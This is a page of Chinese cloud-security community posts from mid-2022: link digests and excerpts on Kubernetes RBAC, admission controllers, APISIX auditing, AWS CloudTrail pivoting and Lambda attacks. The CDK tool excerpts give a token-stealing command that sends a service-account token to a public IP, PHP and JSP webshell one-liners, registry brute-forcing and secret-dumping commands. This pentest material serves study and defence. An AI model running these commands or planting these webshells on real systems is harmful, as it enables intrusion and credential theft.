当前节点:huoxian
时间节点
2022年6月15日 11:41火线zone
绕过K8s RBAC - 窃取token(权限提升)
https://zone.huoxian.cn/d/1257-cdk
云原生容器安全|容器运行时高级威胁的分析与检测实战
https://www.4hou.com/posts/q8Yy
云安全书籍推荐必读榜
https://www.4hou.com/posts/0D4G
AWS 错误配置
https://dhiyaneshgeek.github.io/cloud/security/2022/06/15/aws-misconfigurations/
EC2 上的安全 SSH:真正的威胁是什么?
https://sysdig.com/blog/aws-secure-ssh-ec2-threats/
云原生术语表——中文版上线!
https://www.cncf.io/blog/2022/06/14/cloud-native-glossary-the-chinese-version-is-live/
用软件物料清单寻找漏洞
https://security.googleblog.com/2022/06/sbom-in-action-finding-vulnerabilities.html
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年6月14日 12:11火线zone
apisix安全评估
https://zone.huoxian.cn/d/1256-apisix
浅识k8s中的"准入控制器"
https://zone.huoxian.cn/d/1255-k8s
公开的 Travis CI 日志仍然使用户暴露在网络攻击之下
https://blog.aquasec.com/travis-ci-security
云原生爱好者周刊:利用 DNS 计算圆周率
https://mp.weixin.qq.com/s/PJ3wqKxlDuBaUwYsOg_TjQ
如何防范私有云中的安全风险
https://mp.weixin.qq.com/s/4Porg35SDaJEPNoG__PhTA
基于AutoTagging技术实践 构建统一的可观测性数据平台
https://mp.weixin.qq.com/s/3n5TmJseYKOT-mz2TeETng
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年6月14日 11:41火线zone
绕过K8s RBAC - 窃取token(权限提升)
绕过K8s RBAC:如果当前的Pod有创建Pod权限,即可利用本EXP进行提权到Cluster Admin。本EXP将创建一个Pod并挂载目标service-account的token,之后在Pod中读取该token并发送到攻击者的公网服务器。
该exp使用方法:
cdk run k8s-get-sa-token (default|anonymous|<service-account-token-path>) <target-service-account> <ip> <port>" Request Options: default: connect API server with pod's default service account token anonymous: connect API server with user system:anonymous <service-account-token-path>: connect API server with user-specified service account token. Exploit Options: target-service-account: target service-account token to dump(e.g. admin). ip: target remote IP to hijack traffic. port: target remote PORT to hijack traffic. ./cdk run k8s-get-sa-token default admin 39.104.80.49 999
生成php/jsp webshell文件
受容器环境限制,在容器内写入文件比较麻烦。cdk提供一键写入php/jsp webshell到指定目录文件。
PHP webshell:
<?php @eval($_POST['$SECRET_PARAM']);?>
JSP webshell:
<%Runtime.getRuntime().exec(request.getParameter("$SECRET_PARAM"));%> ./cdk run webshell-deploy php /tmp/shell.php
在每个节点部署后门Pod
通过daemonset
2022年6月14日 01:10火线zone
背景
有大佬已经对 apisix攻击面 做过总结。
本文记录一下自己之前的评估过程。
分析过程
评估哪些模块?
首先我需要知道要评估啥,就像搞渗透时,我得先知道攻击面在哪里。
根据文档,可以知道apisix项目包括很多系统,包括:
网关
dashboard
ingress控制器
各种sdk
sdk即使有漏洞,攻击场景也感觉有限,所以没有评估。
"ingress控制器"需要结合k8s中的网络来做评估,因为时间有限,所以只是粗略看了一下。
我主要看了网关和dashboard两个系统。
从文档上很容易看出来,网关有三个重要的模块:
插件
admin api
control api
对于api来说,首先要检查的是"身份认证"和"鉴权"这两个安全措施。
apisix历史漏洞绝大部分都出现在插件中,所以插件属于"漏洞重灾区"。
评估api安全性:身份认证和鉴权
admin api实现如下:
admin api 使用token做认证,token是硬编码的。这个问题已经被提交过漏洞,官方应该不打算修复。
admin api 鉴权上,设计了viewer和非viewer两种角色。viewer角色只允许get方法。
靶场见 Apache APISIX 默认密钥漏洞(CVE-2020-13945)
control api是没有身份认证的,但是有两个点限制了攻击:
默认它只在本地监听端口
插件无关的control api只有"读信息"的功能,没有发现啥风险点
插件创建的control api是一个潜在的攻击面,不过我没找到啥漏洞。
评估插件安全性
因为插件默认都是不开启的,所以虽然它是重灾区,但是我并没有投入过多精力去审计。
不过在这里确实发现了一个安全问题,报告给官方后,分配了CVE-2022-25757。
下面来说一下这个安全问题。
CVE-2022-25757
这个安全问题是什么?
request-validation插件可以检查HTTP请求头和BODY内容,当不符合用户配置的规则时,请求就不会转发到上游。
比如用户按照如下规则配置时,body_schema限制请求中必须要有string_payload参数,并且是字符串类型,长度在1到32字节之间。
curl http://127.0.0.1:9080/apisix/admin/routes/10 -H 'X-API-KEY: edd1c9f034335f136f87ad84b62
2022年6月13日 19:31火线zone
背景
在 k8s中各组件和kube apiserver通信时的认证和鉴权 中提到"NodeRestriction准入插件",实际上它是一个"准入控制器"。
"准入控制器"是一个重要的概念,在istio、apisix、某些安全产品中都有用到。
本文简要记录一下以下内容:
"准入控制器"是什么
怎么开启"准入控制器"
从源码浅析"准入控制器"
本文使用的k8s集群是用kubekey搭建,命令是./kk create cluster --with-kubernetes v1.21.5 --with-kubesphere v3.2.1
分析
"准入控制器"是什么?
它有点类似"插件",为apiserver提供了很好的"可扩展性"。
请求apiserver时,通过认证、鉴权后、持久化("api对象"保存到etcd)前,会经过"准入控制器",让它可以做"变更和验证"。
"变更"可以修改"api对象",比如istio用来实现pod注入。"验证"可以用来校验"api对象",比如 校验当前集群是否有足够多的资源满足"api对象"、校验当前提交的"pod对象"是否合法。
怎么开启"准入控制器"?
root@ip-172-31-14-33:~/kubernetes-1.21.5/_output/bin# ./kube-apiserver --help |grep admission-plugins ... --enable-admission-plugins strings admission plugins that should be enabled in addition to default enabled ones (NamespaceLifecycle, LimitRanger, ServiceAccount, TaintNodesByCondition, Priority, DefaultTolerationSeconds, DefaultStorageClass, StorageObjectInUseProtection, PersistentVolumeClaimResize, RuntimeClass, CertificateApproval, CertificateSigning, CertificateSubjectRestriction, DefaultIngressClass, MutatingAdmiss
2022年6月13日 15:31火线zone
火线Zone社区
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。
欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
投稿方式
进入火线Zone 【https://zone.huoxian.cn/】 点击左上方 #发布主题#-> 在文章开头选择#添加标签#
文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
文章稿件支持Markdown格式
投稿要求
原创文章:
以云安全、云原生、容器、微服务、DevOps、Kubernetes、企业最佳实践相关主题为主;渗透测试、红蓝对抗、漏洞分析等可根据文章内容质量审核奖励。
要求:具备原创性,内容具备深度和可读性,文章内容质量高,观点新颖。
分类:请添加官方标签#原创文章#,否则不计入奖励。


翻译文章:
以高质量国外云安全相关主题为主。
要求:文章技术含量高,语句通顺无技术词汇翻译错误,拒绝不经过思考的机器翻译,文章开头或结尾必须备注文章原链接。
分类:请添加官方标签#翻译文章#,否则不计入奖励。
投稿奖励
针对被设为精华的原创文章,给予现金奖励300-500元,视文章类型和质量上下浮动。// 首次被评为精华的原创作者,可获得火线玩偶一个,请联系火线小助手。
针对原创文章,点赞≥10,给予奖励200-500查克拉。
针对被设为精华的翻译文章,给予奖励300-600查克拉,视文章类型和质量上下浮动。
针对翻译文章,点赞≥10,给予奖励200查克拉。
投稿评分标准
文章的深度及广度
文章的完整性和可读性
文章阅读量及优质点赞评论数量
(以5分满分为标准,评分由火线审核进行确认)
奖励发放说明
符合文章激励的内容将会对外发表在【火线Zone】公众号上。
火线Zone中的查克拉奖励不包含Rank奖励,Rank的获取目前只能通过提交有效漏洞获取。
所有奖励每周一进行结算(即本周奖励结算上周的文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#。
无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
2022年6月13日 13:31火线zone
使用 CloudTrail 横向 AWS 账户
https://zone.huoxian.cn/d/1248-cloudtrail-aws
K8s 污点容忍度横向主节点
https://zone.huoxian.cn/d/1251-k8s
K8s 中使用 Ingress 时的小技巧
https://zone.huoxian.cn/d/1250-k8singress
金融“云化”时代,如何筑牢云原生基石
https://www.4hou.com/posts/2JvW
深入浅出eBPF: 你要了解的7个核心问题
https://mp.weixin.qq.com/s/ZeXS-Rsr_B86efXDpDGCbw
如何优雅保护 Kubernetes 中的 Secrets
https://mp.weixin.qq.com/s/8e8ZLSvFcxuH9XJofu1tcw
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年6月11日 15:31火线zone
前言:
菜鸡笔记,大佬勿喷。
本文可能放图比较少,如漏点,麻烦师傅们及时指出。感激不尽!
祝:大师傅们财源广进!
正文
在某些企业的功能站点上,正常注册账号后,账号是空白的。权限什么的都很小。
很多功能只有查看的权限,或者连查看的权限都没有。
通过点击功能,在BURP流量包中,发现在访问这些功能的请求接口数据包返回都是 false。
分析请求接口或者分析参数,应该是从后端获取的某些值,才会认证成功,并且对相应的功能才能有访问,或者调用的权限。
正常来说,这里是比较头疼的,因为站点请求的大多数数据包都是请求端点接口
类似
GET /user/GegUserInfo HTTP/1.1
GET /company/GegCompanyInfo HTTP/1.1
POST /user/GegUserInfo HTTP/1.1
POST /company/GegCompanyInfo HTTP/1.1
且没有任何参数。并且尝试FUZZ了参数 也是无效。响应包要么是失败,要么参数为NULL
Tips1:
多看数据包。
多注意POST包。多注意POST包。多注意POST包。
在众多没办法操作的数据包中,发现一个POST接口返回包引起了我的注意。
请求包
POST /newData/companyInfo/bindMerchantAccount HTTP/1.1 Host: xx.huoxian.com Cookie: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 32 Origin: xx.huoxian.com Referer: xx.huoxian.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: 
2022年6月10日 18:31火线zone
污点 节点亲和性 容忍度
污点是K8s高级调度的特性,用于限制哪些Pod可以被调度到某一个节点。在普通节点横向时我们可以使用污点容忍度创建恶意pod来对主节点进行横向控制。
1.kube-scheduler调度
kube-scheduler是Kubernetes 集群的默认调度器,并且是集群控制面(master)的一部分。对每一个新创建的Pod或者是未被调度的Pod,kube-scheduler会选择一个最优的Node去运行这个Pod。
然而,Pod内的每一个容器对资源都有不同的需求,而且Pod本身也有不同的资源需求。因此,Pod在被调度到Node上之前,根据这些特定的资源调度需求,需要对集群中的Node进行一次过滤。
如下为在创建pod的流程中,调度器的作用:
当创建pod时候,会首先把创建的命令请求提交给apiserver,通过一系列认证授权,apiserver把pod数据存储到etcd,创建deployment资源并初始化。然后再是scheduler通过进行list-watch机制进行监测,经过调度算法把pod调度到某个node节点上,最后信息更新到etcd,再后面就是kubelet接受信息到创建容器。
2.哪些因素影响调度
1.pod资源限制
当前调度器选择适当的节点时,调度程序会检查每个节点是否有足够的资源满足 Pod 调度,比如查看CPU和内存限制是否满足:
通过资源限制调度程序可确保由于过多 Pod 竞争消耗节点所有可用资源,从而导致节点资源耗尽引起其他系统异常。
2.节点选择器nodeSelector
在创建pod的时候,节点选择器可以约束pod在特定节点上运行。
nodeSelector 也是节点选择约束的最简单推荐形式,nodeSelector 字段添加到 Pod 的规约中设置希望目标节点所具有的节点标签。 K8s 只会将 Pod 调度到拥有你所指定的每个标签的节点上。

例子, 比如多个节点需要调度时候,通过给1,2节点打上标签,创建pod时候使用节点选择器,那么pod会被按照节点选择器希望的目标在相应节点调度。
为节点打上标签:
kubectl label node nodename env_role=env
查看节点的标签:
kubectl get nodes nodename --show-labels

3.节点亲和性nodeAffinity
节点亲和性概念上类似于 nodeSele
2022年6月10日 16:01火线zone
在进行云上渗透测试(CPT)时,目标是发现和利用高风险问题,例如权限提升、远程代码执行或进入生产环境。我们通常从开发环境中的低权限用户开始,这个权限一般和刚入职的员工访问权限差不多。
在一些项目中,权限提升将我们从低权限用户升级到管理员,而且都是在同一个AWS账户中。但是,如果权限提升涉及到离开组织并带入外部角色,会发生什么?让我们看看如何利用 AWS CloudTrail 服务来发现我们可以横向的其他 AWS 账户。
提升权限
根据我们的经验,伪装成刚入职的开发人员索要相关员工所有权限是进行 CPT 时比较常见的做法,之所以这样做是因为敏感信息存储在许多地方,如果只将范围限制在AWS资产上,我们就会错过作为公司员工可能存在的权限提升路径。
开发人员可能在开发环境中拥有大量权限,但通常不具备管理员权限,并且肯定不能访问或修改生产环境中的资产。我们通常会在开发环境中进行详细的测试,并尝试通过查找 API 密钥来提升权限。我们通常会在 S3 存储桶、Lambda 环境变量、内部 wiki 或存储在其他地方(例如 GitHub 或 BitBucket 代码存储库)中找到一些。
一旦我们找到一组或多组 AWS API 密钥,所面临的的首个问题就是它们有什么访问权限,以及它们的用途是什么。因为已经对开发环境进行了比较详细的测试,所以想弄清楚开发环境的密钥所具备的权限是比较简单的。但在其他AWS账户中,我们能用这些密钥做什么呢?这取决于权限策略是如何制定的。
其中一些可能很容易弄清楚,例如下面的策略显示,当前账户具有sts:AssumeRole权限,当然前提是策略里的 Effect 值为 Allow
{ "Version": "2012-10-17", "Statement": [ { "Sid": "Example1", "Effect": "Allow", "Action": "sts:AssumeRole", "Resource": "arn:aws:iam::123456789012:role/myassumerole" } ] }
但是,如果 API 密钥所属账户的策略是下面这个样子要怎么办?
{ "Version": "2012-10-17", "Statement": [ { "Sid": "Example2", "Effect": "Allow", "Action": "sts:*", "Resource":
2022年6月10日 14:31火线zone
背景
在用k8s时,经常会用到ingress暴露服务。
ingress可以简单地理解成类似nginx的反向代理,可以根据配置将流量路由到不同的后端。
在"云厂商国内虚机上的k8s集群"中使用ingress会遇到两个小问题:
ingress配置中,必须使用域名,而不能使用ip
云厂商会检查域名是否备案
一般有三种解决办法:
买一个域名、给它备案、配置域名A记录。整个过程感觉有一点点麻烦
用备案过的域名(比如 www.baidu.com ),机器绑定host来访问
在香港、新加坡等虚机上部署服务,这样似乎就不用备案
第二个方法已经很简单了,自己用来测试挺好的。但是如果想要让同事也访问服务时,就需要让同事也绑定host。
如果能让"绑定host"这一步也省掉,就会更方便一点。
实际上用https和nip.io域名就可以实现。
分析
nip.io域名是什么?
这种域名可以实现下面这种效果,x.x.x.x.nip.io域名的a记录会被解析成x.x.x.x。
➜ ~ ping 10.0.0.1.nip.io PING 10.0.0.1.nip.io (10.0.0.1): 56 data bytes ... ➜ ~ ping -nc 1 service.10.0.0.2.nip.io PING service.10.0.0.2.nip.io (10.0.0.2): 56 data bytes ...
类似功能的域名还有sslip.io,这样就可以省去"购买域名、配置A记录"两个步骤。
举个例子,如果虚机ip是 1.2.3.4,我们就可以用 1.2.3.4.nip.io 当作ingress配置中的host字段。
因为nip.io这种域名是没有备案的,所以访问 http://1.2.3.4.nip.io 时,就有可能被云厂商禁止访问。那厂商是怎么知道要封禁我这个请求呢?
怎么被封禁的呢?
猜测厂商可能是从请求的host字段拿域名,然后查询是否有备案,如果没有备案,就会禁止访问。
所以如果我们用https加密,厂商就无法从http请求拿到域名。虽然可以tls握手包中获取域名,但是厂商不一定实现。所以有可能通过https正常通信。
下面来看一看怎么在ingress中用上https。
怎么给ingress配置证书?
这里图省事,我直接用kubernets集群中ca给kubelet签发的证书。
因为ca是自建的、浏览器不信任的,所以浏览
2022年6月10日 12:01火线zone
ServerLess Aws Lambda攻击与横向方法研究
https://zone.huoxian.cn/d/1244-serverless-aws-lambda
云原生安全和可观察性的综合方法
https://zone.huoxian.cn/d/1246
到 2023 年,大部分的应用程序将使用云原生开发
https://containerjournal.com/features/majority-of-apps-will-use-cloud-native-development-by-2023/
Amazon EKS 对比 Azure Kubernetes 服务
https://www.trendmicro.com/en_us/devops/22/f/amazon-eks-vs-azure-kubernetes-service-aks.html
打破金融行业的多云障碍
https://www.cncf.io/blog/2022/06/09/breaking-the-multi-cloud-barrier-in-a-regulated-industry/
金融“云化”时代,如何筑牢云原生基石
https://www.4hou.com/posts/2JvW
新一代更强大的镜像构建工具 Earthly
https://mp.weixin.qq.com/s/LreTTuQkcvWUgWReg8lcVQ
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年6月10日 11:01火线zone
在进行云计算渗透测试(CPT)时,目标是发现和利用高风险问题,例如权限提升、远程代码执行或进入生产环境的能力。我们通常从开发环境中的低权限用户开始,所有访问和权限分配给新员工。
在一些项目中,升级路径将我们从低权限用户升级到管理员,而且都是在同一个AWS账户中。但是,如果升级路径涉及离开组织并担任外部角色,会发生什么?让我们看看如何利用 AWS CloudTrail 服务来发现我们可以转向的其他 AWS 账户。
提升权限
根据我们的经验,模仿新开发人员是进行 CPT 时最常见的借口。我们之所以要求提供通常与新员工相关的所有访问和权限,是因为机密存储在许多地方,如果只将范围限制在AWS资产上,我们就会错过公司员工可行的权限升级途径。
开发人员可能在开发环境中拥有大量权限,尽管通常不具备管理员权限,但他们肯定不能访问或修改生产环境中的资产。从这个出发点出发,我们通常会尽可能地列举开发环境,并尝试通过查找 API 密钥来提升权限。我们通常会在 S3 存储桶、Lambda 环境变量、内部 wiki 或存储在其他地方(例如 GitHub 或 BitBucket 代码存储库)中找到一些。
一旦我们找到一组或多组 AWS API 密钥,问题就是它们有什么访问权限,以及它们可能的用途是什么。在开发环境中弄清楚访问和权限是很容易的;我们已经列举了它,所以我们可以简单地查找它。但在其他AWS账户中,我们能用这些密钥做什么呢?这取决于权限策略是如何制定的。其中一些可能很容易弄清楚。例如下面的策略显示,委托人可以在 AWS 账户123456789012中担任一个角色,当然,假设这个角色的信任策略也允许。
{ "Version": "2012-10-17", "Statement": [ { "Sid": "Example1", "Effect": "Allow", "Action": "sts:AssumeRole", "Resource": "arn:aws:iam::123456789012:role/myassumerole" } ] }
但是,如果 API 密钥属于附加了以下权限策略的帐户怎么办?
{ "Version": "2012-10-17", "Statement": [ { "Sid": "Example2", "Effect": "Allow", "Action": "sts:*", "Resource": "*" 
2022年6月9日 21:02火线zone
网络拓扑图
HOST绑定
配置DNS
kali Linux绑定host文件
vim /etc/hosts
存活扫描
netdiscover -i eth0 -r 192.168.10.0/24
端口扫描
masscan扫描端口
nmap探测端口信息
nmap -sC -A -p 49154,21,6588,135,80,3389,53,999,49155 192.168.10.134 -oA cc123-port
PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT 53/tcp open domain Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB1446A) 80/tcp open http Microsoft IIS httpd 7.5 |_http-server-header: Microsoft-IIS/7.5 |_http-title: IIS7 | http-methods: |_ Potentially risky methods: TRACE 135/tcp open msrpc Microsoft Windows RPC 999/tcp open http Microsoft IIS httpd 7.5 |_http-server-header: Microsoft-IIS/7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-title: phpMyAdmin | http-robots.txt: 1 disallowed entry |_/ 3389/tcp open tcpwrapped | ssl-cert: Subject: commonName=WIN-KALKEMT3JMA | Not valid before: 2021-11-14T11:26:07 |_Not valid after: 2022-05-16T11:26:07 |_ssl-date: 2021-11-16T12:54:18+00
2022年6月9日 15:32火线zone
随着云原生和容器化的普及,Kubernetes(一种协调工作负载的绝佳方式)越来越受欢迎,就像任何伟大的技术一样。因此,出现了很多混乱的情况。每个人都在使用Kubernetes来迁移他们的工作负载,但他们在投入生产之前并没有考虑安全问题。这可能是自然的行动过程,但它在 Kubernetes 中不起作用。 你不能等到最后一刻才使用 Kubernetes 将工作负载转移到生产环境;你需要从一开始就考虑安全问题。如果在 Kubernetes 这样的系统中不考虑安全问题,工作负载很容易受到影响,而且你也不会有一个有效的解决方案。
这其中的原因是什么呢?云原生与其他技术有何不同?让我们看看其中的一些区别,看看为什么它们需要对云原生应用的安全和可观察性采取更全面的方法,无论是在Kubernetes还是其他地方。
云原生技术简史
如果把云原生排除在外,我们习惯于客户端-服务器设计,其中服务器在虚拟机 (VM) 上运行,客户端连接到服务器集群。我们习惯于以 这种方式开发和部署客户端-服务器应用程序。
由于多种原因,云原生在本质上是不同的。从服务器的角度来看,大多数从业者会认为,对于必须完成的简单操作来说(例如,从数据库中检索某些内容或评估 HTTP 请求并将其发送出去),VM 过于“繁重”。
因为一个虚拟机可以承载多个容器,每个容器都有自己的网络,所以你需要一个协调器来跟踪它们。
这就是 Kubernetes 的作用:使用最广泛的编排器。(云原生系统在业界非常普遍,以至于很多人将它与 Kubernetes 混为一谈。)Kubernetes 使用你的容器并为你完成几乎所有的事情;你所要做的就是告诉它要运行什么。
为什么 Kubernetes 如此受欢迎?因为它提供了大量的多功能性。过去,你有一台服务器,有一堆IP,并且可能有几个接口可以让你访问计算资源,但现在已经不是这样了。 你现在拥有一个服务器,它被分成多个容器,可以部署在任何主机上,你可以指定这些容器必须与哪些应用程序连接。Kubernetes 负责一切,包括将所有东西链接在一起并运行这些操作。
云原生技术面临哪些挑战?
云原生在两个关键方面有所不同:工作负载的安全和交付方式。从安全用户的角度来看,没有身份的概念。虽然 IP 和端口用于识别容器,但 Kubernetes 现在会为你处理这个问题;你的容器今天可能在一个 IP 上,明天可能在另一个 IP 上。这需要你重新考虑如何
2022年6月9日 11:32火线zone
云上的灰色地带--由云服务提供商安装的秘密 agents 软件
https://www.wiz.io/blog/the-cloud-gray-zone-secret-agents-installed-by-cloud-service-providers/
畅聊云原生|如何应对云原生应用安全防护风险
https://mp.weixin.qq.com/s/6SZ7d65myyazZJ2zaEVfCQ
前沿研究 | 云原生服务风险测绘分析(五):Etcd
https://mp.weixin.qq.com/s/Aj7SoZWDeafX1B_V1dV76w
身份访问管理的攻击路径,第三部分:函数应用
https://securityboulevard.com/2022/06/managed-identity-attack-paths-part-3-function-apps/
云原生安全和可观察性的综合方法
https://www.metasecure.ai/blog/an-integrated-approach-to-cloud-native-security-and-observability
使用 CloudTrail 渗透 AWS 账户
https://bishopfox.com/blog/using-cloudtrail-to-pivot-to-aws-accounts
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年6月9日 11:32火线zone
前言
1、这篇文章讲了什么?
文本围绕三个问题
1、lambda会遇到什么攻击场景
2、什么情况下,在lambda中读取到的env环境变量密钥可以让我们接管服务器甚至整个账号
3、什么情况下,可以通过lambda权限去横向到其他的EC2服务器
本文会对这三个问题进行解答,并且进行演示
2、什么是ServerLess和Lambda
Serverless,即无服务器计算。然而Serverless不是不再需要服务器,而是公司或开发者不用过多考虑服务器的问题,计算资源仅作为一种服务而不再以物理硬件的形式出现。
为什么使用ServerLess
Serverless免除公司和开发者对服务器维护的麻烦,因此也不用考虑DevOps了。公司和开发者只需关注应用的开发和运维即可,因此Serverless可以在更大程度上节约运维的成本。
Serverless的优势
可用性冗余,以便单个机器故障不会导致服务中断
冗余副本的地理分布,以便在发生灾难时保留服务
负载平衡和请求路由以有效利用资源
响应负载变化进行自动缩放以扩展或缩小系统
监控以确保服务仍然运行良好
记录以记录调试或性能调整所需的消息
系统升级,包括安全修补
迁移到新实例时可用
选自阿里云
https://www.alibabacloud.com/zh/knowledge/what-is-serverless
一、场景搭建与实践
https://us-east-1.console.aws.amazon.com/lambda/home?region=us-east-1#/create/function
1、创建一个lambda函数
这里都是用默认的设置

并且我们对执行的角色也是用默认的选项

在高级设置中,我们也保持默认
2、为lambda函数添加触发器
在编写函数代码之前,我们需要添加触发器

为了演示方便,我们不去考虑这个函数在业务中的具体作用,只需在意这个函数在什么时候触发即可
首先我们创建一个S3 存储桶

并且我们在刚刚创建的函数添加触发器,并且选择这个存储桶,触发的事件类型也选择所有对象创建事件


在我们开始编写函数前,我们需要知道,在S3上传对象时,所获取到的内容是什么样子的
上传一个文件,触发一下日志

随后在cloud watch中就可以看到上传的日志

这里可以看到object中的key是上传的文件名,那假设函数获取的文件名并且当成命令执行,那么在上传文件
2022年6月8日 11:31火线zone
使用cdk进行容器环境信息探测
https://zone.huoxian.cn/d/1242-cdk
Serverless应用安全浅谈
https://zone.huoxian.cn/d/1241-serverless
从云服务器 SSRF 漏洞到接管你的阿里云控制台
https://mp.weixin.qq.com/s/fsFsirCK2_11V2wv2vTbTQ
K8s 软件供应链攻击的现状
https://containerjournal.com/features/the-state-of-k8s-software-supply-chain-attacks/
2022 年如何对 Kubernetes 进行安全加固
https://www.cncf.io/blog/2022/06/07/how-to-security-harden-kubernetes-in-2022/
身份访问管理的攻击路径,第二部分:逻辑应用
https://securityboulevard.com/2022/06/managed-identity-attack-paths-part-2-logic-apps/
2022云原生安全发展24个洞见
https://www.freebuf.com/articles/network/334834.html
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年6月7日 19:01火线zone
K8s组件网络探测
扫描发现kubelet、k8s dashboard、docker api等服务。
// 从环境变量查找 K8s api-server 所在的网段 env | grep KUBE // scan its open service ./cdk run service-probe 172.21.0.1-255
爆破镜像源的账号密码
暴力破解容器镜像源的账号和密码,获取一个可用的账户,用于劫持镜像获取Shell。
./cdk registry-brute <registry-url> <username|file> <password|file> # 用户名和密码的参数,可以指定文件,单个用户名,单个密码和多个密码组合。 ➜ CDK git:(main) ✗ ./cdk run registry-brute http://docker.xxxxx admin /tmp/password-list 2021/06/27 11:57:20 user dict length: 1. 2021/06/27 11:57:20 password dict length: 108. 2021/06/27 11:57:23 Account: admin:xxxxxxx is available. 2021/06/27 11:57:23 End!
信息收集 - 扫描目录文件获取 AK/证书 等敏感文件
扫描用户指定的目录,在其文件中寻找可用的AK SK/证书/配置文件等敏感信息,常用于攻破容器之后发现其中存在一些代码文件(如python/php)等,可以使用该脚本自动提取代码文件中泄露的AK。
./cdk run ak-leakage /var/www/html/php-app
信息收集 - 窃取k8s secrets & config
通过匿名账号或者token文件请求k8s api-server,拉取全部K8s Secrets以及K8s Configmap,K8s Secrets用于存储敏感数据,从Secrets中获取的AK及通信凭证可用于后续渗透中从外部或云产品API窃取信息。
./cdk run k8s-secret-dump (auto|<service-account-token-path>) ./cdk run k8s-secret-dump auto
./cdk run k8s-configmap-du
2022年6月7日 19:01火线zone
我是火线安全的曾垚,今天分享的议题是Serverless应用安全浅谈,我们发现近年来主流的云厂商,或者是像K8S、CNCF生态出现了非常多的Serverless Faas的相关技术,像backend也是非常流行的。
整个Serverless产生或者是容器的产生,都是为了大幅度提高软件的开发效率和降低后续的维护成本。
希望可以通过这次分享,可以让相关Serverless开发者了解在Serverless应用开发过程中的安全风险。
整个议题分三个部分:
Serverless相关的技术、简要
Serverless带来的新工具场景
Serverless需注意的安全事项
什么是Serverless?不得不谈到应用整体的技术架构变迁,最早开始要开发上线一个软件,需要厂家提供硬件的服务器,需要运维对上面安装的虚拟机或者操作系统,进行后续的维护和软件部署,最后才是程序开发人员需要开发一个应用,在应用里面写非常多不同的业务函数,再去做后续的部署。
在整个传统环境,我们需要有各个不同职能的角色参与到软件开发的过程中,再到后来的Vmware等等虚拟机,我们抛弃相关硬件上的东西,包括后续产生的虚拟机、ECS,我们不需要再去维护硬件上的事情,我们只需要选择一个操作系统,在操作系统部署上我们的应用就可以了。
到现在像K8S,容器云的发展,在操作系统选择上,是不需要自己选择,我们给予Dockerfile或者是容器化的技术,我们只需要部署自己的应用,再用函数,后续只需要维护应用的稳定性和安全性就可以了。
目前我们已经进入到一个容器云的时代,大量的开发或者运维,都是以开发为优先,以Infrastructure as Code的方式去描述基础架构或者网络环境,或者应用部署的环境。
再下一个阶段是Serverless新型技术,整个开发需要维护的事情就变得更少了,但我们现在还需要维护框架和软件,后续在Serverless里面,我们只需要去维护我们真正的业务逻辑就可以了,有非常多的新型输入源,或者是新型后端的技术函数,为我们Serverless生态提供非常多的便利。
整体技术变迁,我们可以看到软件架构需要维护的程序是变得越来越少,但是我们整体的架构变得越复杂,总体来说都是为了软件开发和后续的运维成本。
Serverless整个的运行机制也发生了变化,传统的我们作为一个用户终端,是直接通过各种方式访问我们的ECS或者容器,通过容器或者ECS把流量传递到应用,
2022年6月7日 12:31火线zone
从云服务器 SSRF 漏洞到接管你的阿里云控制台
https://zone.huoxian.cn/d/1237-ssrf
基于IAP的对GCP私有堡垒和API的访问
https://www.padok.fr/en/blog/iap-gcp-bastion-apis
身份访问管理的攻击路径,第一部分:自动化账户
https://securityboulevard.com/2022/06/managed-identity-attack-paths-part-1-automation-accounts/
实战阿里云OSS云攻防
https://forum.butian.net/share/1615
数据科学家应该了解的Kubernetes的内容
https://containerjournal.com/features/what-data-scientists-should-know-about-kubernetes/
Google 宣布 2021 年 GCP VRP 奖的获奖者
https://security.googleblog.com/2022/06/announcing-winners-of-2021-gcp-vrp-prize.html
9 个月节省 4.23 亿:由 AWS EC2 迁移 Kubernetes
https://mp.weixin.qq.com/s/B2o5n6A4O2d20tNnHPNDUQ
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年6月7日 11:01火线zone
在虚拟机中安装docker环境具体就不演示了Vulhub - Docker-Compose file for vulnerability environment
如何判断Struts2框架
常规的办法有: 1、通过页面回显的错误消息来判断,页面不回显错误消息时则无效。 2、通过网页后缀来判断,如.do.action,有可能不准。 3、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。 其它的方法:通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。 利用方法:如原始 URL 为 https://threathunter.org/则检测所用的 URL 为 https://threathunter.org/?actionErrors=1111 如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象: 1、 页面直接出现 404 或者 500 等错误。 2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。 3、 页面的内容结构发生了明显的改变。 4、 页面发生了重定向。
S2-001 远程代码执行漏洞
影响范围: Struts 2.0.0 - Struts 2.0.8
